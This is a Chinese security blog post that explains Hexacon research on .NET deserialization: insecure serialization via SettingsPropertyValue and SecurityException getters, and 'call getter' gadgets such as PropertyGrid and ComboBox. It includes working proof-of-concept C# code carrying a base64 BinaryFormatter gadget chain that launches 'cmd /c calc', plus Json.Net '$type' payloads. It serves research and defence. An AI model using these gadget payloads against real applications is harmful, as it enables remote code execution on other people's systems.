.Net反序列化之Call Getter
2023-11-22 18:2:48 Author: M01N Team(查看原文) 阅读量:5 收藏

引言

近日,Hexacon会议上安全研究员Piotr Bazydło公布了.Net反序列化的研究,其研究内容包括SolarWinds的一系列反序列化漏洞发现和黑名单的绕过,不安全的序列化利用,.net framework和.net5利用链。在.Net Framework这一方面,他把不安全的序列化gadget结合call getter gadget起来,形成了新的反序列化链,绕过了传统反序列化攻击的防护思路,扩充了攻击面。本文主要对不安全的序列化和call getter反序列化链加以介绍。

01 不安全的序列化

设想有这样一种应用场景,服务端接收序列化的字符串,反序列化为对象obj后,对obj进行修改,然后再序列化,发给客户端。那么可以利用的点如图所示。传递给服务器一个序列化对象,这个对象包含了恶意的getter,反序列化会正常进行,不会执行恶意操作,但当再次序列化时,便会触发getter的调用,从而造成恶意操作的执行。当然,这种场景下使用的formater都是基于setter、getter的,如Json.Net,而BinaryFormatter、SoapFormatter等不属于。这种利用方式与以往是不同的,通常反序列化链在反序列化时就触发了恶意操作,而此种利用方式是在序列化时触发恶意操作。

议题提出了3个可以在该场景下利用的序列化链:SettingsPropertyValue、SecurityException和CompilerResults。

1.  SettingsPropertyValue

该类 get_PropertyValue 方法在特定条件下会调用BinaryFormater.Deserialize(),而这个特定条件用户可以控制满足,因此可以调用任意binaryformater的gadget链。

首先Deserialized属性必须是false。

其次,SerializedValue不能为string。

这条链在.net core中是失败的,原因就在于下图,检查了BinaryFormatter是否被允许,而在.net5及以上,BinaryFormatter默认被禁止调用。

最终payload如下,执行便会弹计算器。

SettingsProperty  settingsProperty = new SettingsProperty("Test");SettingsPropertyValue settingsPropertyValue = new SettingsPropertyValue(settingsProperty);settingsPropertyValue.SerializedValue = Convert.FromBase64String("AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAAcvYyBjYWxjBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=");settingsPropertyValue.Deserialized = false;var s1 = JsonConvert.SerializeObject(settingsPropertyValue, new JsonSerializerSettings() { TypeNameHandling = TypeNameHandling.Auto });

异常报错是因为反序列化执行后返回了null,PropertyValue没获取到值。

2. SecurityException 

该类get_Method 方法会直接调用BinaryFormater.Deserialize(),但序列化链使用需要满足两个条件。

  • 服务端使用的反序列化器支持Serializable;

  • 服务端使用的序列化器不支持Serializable或者getter调用优先级高于Serializable;

为什么需要这样的条件,是因为该类实现了ISerialize接口,实现了Iseriazlie接口的类都含有特定结构的构造函数和GetObjectData函数,GetObjectData用于序列化获取成员值,特殊构造函数用于反序列化给成员赋值。

假定应用场景里反序列化器和序列化器都是基于setter/getter,那么反序列化时会触发set_method函数,如下图所示,它会调用SecurityException.ObjectToByteArray把Method传递的值进行二进制序列化,而Mehod已经是序列化一次的,相当于现在m_serializedMethodInfo储存的是两次序列化后的结果。接着序列化调用get_Method,会把m_serializedMethodInfo做一次反序列化,整个过程结束,Method值相当于根本没改变,并没有被反序列化。

如果上述场景下,反序列化器支持Serializable接口,那么在反序列化时,就进入构造函数而不是setter,可以看到,构造函数里直接把Method值赋给了m_serializedMethodInfo。

序列化器不支持ISerializeable接口或者getter调用级别比Iserializeable的GetObjectData高,那么就会触发get_Method执行,从而反序列化传递的payload。

payload,使用的是JavaScriptSerializer,不支持Iserializeable接口。

SecurityException securityException = new SecurityException();FieldInfo f =  typeof(SecurityException).GetField("m_serializedMethodInfo", System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic);f.SetValue(securityException,Convert.FromBase64String("AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAAcvYyBjYWxjBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs="));
var s =new JavaScriptSerializer().Serialize(securityException);

3.  CompilerResults 

该类 get_CompiledAssembly 会导致任意dll的远程加载。需要注意的是,Assembly.LoadFile在 .NET Framework 4以后默认禁止远程加载,而.net 5以上是可以的。加载的dll可以是assembly,也可以是native Dll。虽然nativedll中dllmain中代码会执行,但是加载nativedll会报PE格式错误。

02 call getter反序列化链

除了序列化利用链,议题还扩充了反序列化利用链方式,通过结合4个强大的call getter gadget和序列化利用链的2个gaget,便可以实现8种新的rce反序列化利用链,进一步扩大了攻击面。

所谓call getter,就是可以调用任意属性的getter方法。下表展示了4条攻击链及适用范围。

1.  System.Windows.Forms.PropertyGrid

该链会迭代调用指定object可用的getter。利用payload如下

{   "$type":"System.Windows.Forms.PropertyGrid, System.Windows.Forms, Version =  4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089",   "SelectedObjects":   [     {     "your object"     }   ]}

2. System.Windows.Forms.ComboBox 

该链会调用指定object的MaliciousMember属性的getter。

{ "$type":"System.Windows.Forms.ComboBox, System.Windows.Forms,Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", "Items": [   {   "your":"object"   } ], "DisplayMember":"MaliciousMember", "Text":"whatever"}

原理: 反序列化器调用set_Text setter,该setter会调用Items中指定对象的指定成员getter,指定成员由DisplayMember字段设置。

set_Text如下,第一个if判断会直接为true,具体查看ComboBox构造函数。走到红框处调用 ListControl.GetItemText ,其参数selectedItem是 Items 中的对象。

GetItemText会调用FilterItemOnProperty,这个函数会从触发我们设置的DisplayMember字段对应的getter。

Find函数根据DisplayMemeber寻找PropertyDescriptor

GetValue则会触发DisplayMemeber的getter

System.Windows.Forms.ListBox、System.Windows.Forms.CheckedListBox 和ComboBox几乎一样。

把4个call getter gadget和2个序列化gadget结合起来,就可以形成常规的反序列化利用链。ysoserial.net工具已经实现了上述利用方式,对应GetterCompilerResultsGenerator、GetterSecurityExceptionGenerator、GetterSettingsPropertyValueGenerator。

03 总结

白皮书关于序列化与反序列化的大部分内容是基于.Net Framework的,它提到在.Net Core中,序列化链利用存在诸多限制,目前只有在WPF或引入了PresentationFramework.dll的情况下,存在反序列化利用链,web应用尚不存在或未公开。但在后续研究中,可以考虑从影响力大的、流行度高的第三方库入手,寻找漏洞。

附录 参考文献

[1]https://github.com/thezdi/presentations/blob/main/2023_Hexacon/whitepaper-net-deser.pdf

[2]https://learn.microsoft.com/en-us/dotnet/api/system.security.securityexception?view=netframework-4.7.1

绿盟科技天元实验室专注于新型实战化攻防对抗技术研究。

研究目标包括:漏洞利用技术、防御绕过技术、攻击隐匿技术、攻击持久化技术等蓝军技术,以及攻击技战术、攻击框架的研究。涵盖Web安全、终端安全、AD安全、云安全等多个技术领域的攻击技术研究,以及工业互联网、车联网等业务场景的攻击技术研究。通过研究攻击对抗技术,从攻击视角提供识别风险的方法和手段,为威胁对抗提供决策支撑。

M01N Team公众号

聚焦高级攻防对抗热点技术

绿盟科技蓝军技术研究战队

官方攻防交流群

网络安全一手资讯

攻防技术答疑解惑

扫码加好友即可拉群


文章来源: http://mp.weixin.qq.com/s?__biz=MzkyMTI0NjA3OA==&mid=2247492714&idx=1&sn=f50e98cc59685338f8fc011ba9f60960&chksm=c184247bf6f3ad6d6a06ea8cd0751d1cfb5a73b82028c27ce5f999a8cb4ce5233b59e8b0ed82&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh